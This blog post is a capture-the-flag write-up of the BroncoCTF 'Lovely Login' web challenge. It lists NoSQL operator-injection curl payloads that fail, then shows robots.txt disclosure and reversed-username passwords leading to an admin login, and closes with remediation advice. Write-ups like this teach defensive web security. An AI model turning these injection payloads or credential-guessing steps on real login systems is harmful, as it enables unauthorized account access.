DEV Community

Cover image for BroncoCTF: Lovely Login
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

BroncoCTF: Lovely Login

Executive Summary

Lovely Login presents a minimal "Secure Database" login form backed by an Express API at /login. The obvious attack surface — NoSQL operator injection on username/password — turned out to be a dead end, as both fields were type-checked server-side before being used in any query. The actual vulnerability was much simpler: a leftover internal documentation page (/security), disclosed via a commented-out Disallow entry in robots.txt, revealed that user passwords are generated by reversing the username string. Combining a base64-encoded username list (also hidden in robots.txt) with that logic yielded valid credentials for admin on the first try.

Root cause: sensitive internal notes and a predictable, non-random password-derivation scheme were left reachable in a production-facing deployment, and the "protection" for the page was a robots.txt entry — which only asks well-behaved crawlers not to visit, and does nothing to actually restrict access.

Flag: bronco{[REDACTED]}


Recon

The landing page is a small login card that POSTs JSON to /login:

fetch("/login", {
  method: "POST",
  headers: {"Content-Type": "application/json"},
  body: JSON.stringify({username: u, password: p})
});
Enter fullscreen mode Exit fullscreen mode

Response headers confirmed the stack:

X-Powered-By: Express
Enter fullscreen mode Exit fullscreen mode

Baseline probing established two distinct error paths, which suggested a two-step lookup (find user, then check password) rather than a single combined query:

Request Response
{"username":"test","password":"test"} No such user
{"username":"admin","password":"admin"} Wrong password

This confirmed admin was a valid, existing account.

Dead End: NoSQL Injection

Given the "Secure Database" framing and the two-step error behavior, NoSQL operator injection ($gt, $ne, $regex, $exists, etc.) was the natural first hypothesis. A range of payloads were tried against both fields:

-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'   # -> No such user
-d '{"username": "admin", "password": {"$gt": ""}}'       # -> Wrong password
-d '{"username": "admin", "password": {"$ne": ""}}'       # -> Wrong password
-d '{"username": "admin", "password": {"$regex": "^"}}'   # -> Wrong password
-d '{"username": ["admin"], "password": "test"}'          # -> No such user (rules out type-juggling via array)
Enter fullscreen mode Exit fullscreen mode

Every variation returned the same generic error regardless of whether the injected operator should have matched everything or nothing (e.g. an impossible $regex gave the identical response to a match-all $regex). That consistency across payloads is itself the signal: both fields are being type/shape-checked (likely cast to String, or explicitly validated) before ever reaching a database query, so no operator survives to be interpreted by Mongo. This path was abandoned once the impossible-vs-match-all regex test came back identical.

A side probe of the urlencoded content-type (password[$gt]=) triggered a 500 Internal Server Error instead — interesting, but a crash from an undefined field being passed into a comparison function, not an exploitable state.

The Actual Vulnerability: Information Disclosure

With injection ruled out, standard web recon turned up the real issue:

$ curl -s https://broncoctf-lovely-login.chals.io/robots.txt
User-agent: *
Disallow: /security
# amVmZixzYXJhaCxhZG1pbixndWVzdA==
Enter fullscreen mode Exit fullscreen mode

Two findings in three lines:

  1. Disallow: /securityrobots.txt is a request to well-behaved crawlers, not an access control. It effectively points straight at a page the developers didn't want indexed but never actually protected.
  2. A base64 comment. Decoded:
   $ echo 'amVmZixzYXJhaCxhZG1pbixndWVzdA==' | base64 -d
   jeff,sarah,admin,guest
Enter fullscreen mode Exit fullscreen mode

— a list of valid usernames, handed over for free.

Visiting the disallowed page confirmed the design flaw directly:

$ curl -s https://broncoctf-lovely-login.chals.io/security
<h1>Internal Security Notes</h1>
<p><b>Status:</b> Work in progress</p>
<ul>
  <li>Passwords are derived from usernames</li>
  <li>Current implementation stores them backwards for obfuscation</li>
  <li>Planned upgrade: hashing + salting</li>
</ul>
<p><b>TODO:</b> remove this page before production deployment!</p>
Enter fullscreen mode Exit fullscreen mode

Password derivation, spelled out: password = username, reversed. No hashing, no salting, no randomness — just a string reversal, and the developers' own TODO admits it never got fixed.

Exploitation

admin reversed is nimda:

curl -X POST https://broncoctf-lovely-login.chals.io/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"nimda"}'
Enter fullscreen mode Exit fullscreen mode
<h2>Welcome, admin.</h2>
<pre>bronco{[REDACTED]}</pre>
Enter fullscreen mode Exit fullscreen mode

Logged in on the first attempt.

Key Vulnerabilities

# Issue Impact
1 robots.txt used as a substitute for access control on /security Sensitive internal design notes exposed to anyone who reads the file
2 Username list leaked via base64 "hidden" comment in a public file Removes the need to brute-force or guess valid accounts
3 Password = reverse(username), no hashing/salting Full credential compromise for every account, computable with zero cracking effort

Remediation

  • Never rely on robots.txt for access control. It is a courtesy convention for crawlers, not a security boundary — anything sensitive needs real authentication/authorization on the route itself.
  • Don't leave debug/internal documentation pages reachable in production, encoded or not. If it must exist, gate it behind auth and strip it from any public web root before deploy.
  • Derive nothing security-sensitive from public data. A password that's computable from the username (even non-reversibly) is not a secret. Use random, per-user salts and a proper password hashing algorithm (bcrypt/argon2/scrypt).
  • Audit what ships to production. The page's own TODO shows the team knew this was temporary — a pre-deploy checklist or CI check for debug routes would have caught it.

Attack Chain

robots.txt (Disallow: /security)
        │
        ├── base64 comment ──► decode ──► valid usernames: jeff, sarah, admin, guest
        │
        └── GET /security ──► discloses password scheme: password = reverse(username)
                                      │
                                      ▼
                    POST /login {"username":"admin","password":"nimda"}
                                      │
                                      ▼
                              Authenticated as admin
                                      │
                                      ▼
                            FLAG: bronco{[REDACTED]}
Enter fullscreen mode Exit fullscreen mode

Top comments (0)